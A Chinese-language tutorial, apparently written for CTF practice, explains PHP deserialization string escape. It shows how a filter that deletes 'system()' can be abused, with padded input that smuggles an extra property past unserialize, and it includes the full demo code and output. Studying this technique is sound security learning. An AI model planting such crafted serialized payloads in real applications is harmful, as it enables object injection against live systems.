今天讲讲字符串逃逸。题目中可能会用它把flag藏起来。
字符串逃逸减少
也可以记作长换短。
class S{
public $v1='abcsystem()';
public $v2='123';
}
$data=serialize(new S());
$data=str_replace("system()","",$data);
var_dump(unserialize($data));
上面这段代码,意思是初始化一个类后将它序列化,将'system'替换为'',在输出反序列化后的结果。
str_replace:替换函数,引用格式str_replace("被替换字符","替换字符",替换类)
bool(false)
运行后出现上面的情况,也就是说,反序列化过程中出现了错误,那么首先想到查看序列化结果分析一下
O:1:"S":2:{s:2:"v1";s:11:"abcsystem()";s:2:"v2";s:3:"123";}
O:1:"S":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}
第一串字符串是不替换时的序列化成果,第二串是替换时的序列化成果。二者区别在于是否有'system()',问题就在这里,第二串的成员字符数量错误,如果数量仍为11,那么会连着后面的字符一起包括进来直到满足这个数量,此时第一个成员为下面红色部分
O:1:"S":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}
对于序列化后的字符串来说,只要引号可以对应上,结尾为';}'即为结束,并可以反序列化。
那么现在的问题就是,如何改变成员属性,可以使之正常反序列化。我们观察可知,必须要留最后一个引号保证格式正确,那么就将倒数第二个引号及之前的字符都作为成员内容。
这里把3改为xx,是因为后面还要改第二个成员属性,只能大概确定字符个数为两位数(因为涉及藏数据),具体的要构造后才能修改。
O:1:"S":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:xx:"123";}
我们发现红色部分一共为20个字符,除去'abc'还有17个。前面我们知道,'system()'一共8个字符,那么我们需要连续三个'system()'才能包括,但这时总体字符数就变成3+24=27个了,?值就有了,就是27。
那又超出去了,怎么办?我把接下来这一步叫“水多了加面,面多了加水”。
此时还缺7个字符,简单,修改第二个成员属性。现在还剩下'123',直接拉到7,1234567,这就够7个了。蓝色部分为第二个成员目前构造的部分。
"O:1:"S":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:xx:"1234567";}"
前面说了,这种题一般都是藏flag的。那么,这一步最重要的就是,构造第三个成员。并且这个成员时作为第二个成员内容出现的。此时xx的值也可以数出来了。并且大括号钱的成员数量也需要修改,这样反序列化时才能把第三个成员显示出来。
成员很好构造,上一篇说过构造方法,重要的是不能忘记',}',因为对于第三个成员来说,引号内的';}'才是结束的标志。
O:1:"S":3:{s:2:"v1";s:27:"abc";s:2:"v2";s:30:"1234567";s:2:"v3";s:4:"flag";}";}
最后的代码如下,成员属性修改过程思路也在下面
class S{
public $v1='abcsystem()system()system()';
public $v2='1234567";s:2:"v3";s:4:"flag";}';
}
$data=serialize(new S());
//"O:1:"S":2:{s:2:"v1";s:11:"abcsystem()";s:2:"v2";s:3:"123";}"
$data=str_replace("system()","",$data);
//"O:1:"S":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}"
//"O:1:"S":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:xx:"123";}"
//"O:1:"S":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:xx:"1234567";"123";}"
//"O:1:"S":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:30:"1234567";s:2:"v3";s:4:"flag";}";}"
//$data='O:1:"S":3:{s:2:"v1";s:27:"abc";s:2:"v2";s:30:"1234567";s:2:"v3";s:4:"flag";}";}'
var_dump(unserialize($data));
反序列化后运行结果如下
object(S)#1 (3) {
["v1"]=>
string(27) "abc";s:2:"v2";s:30:"1234567"
["v2"]=>
string(30) "1234567";s:2:"v3";s:4:"flag";}"
["v3"]=>
string(4) "flag"
}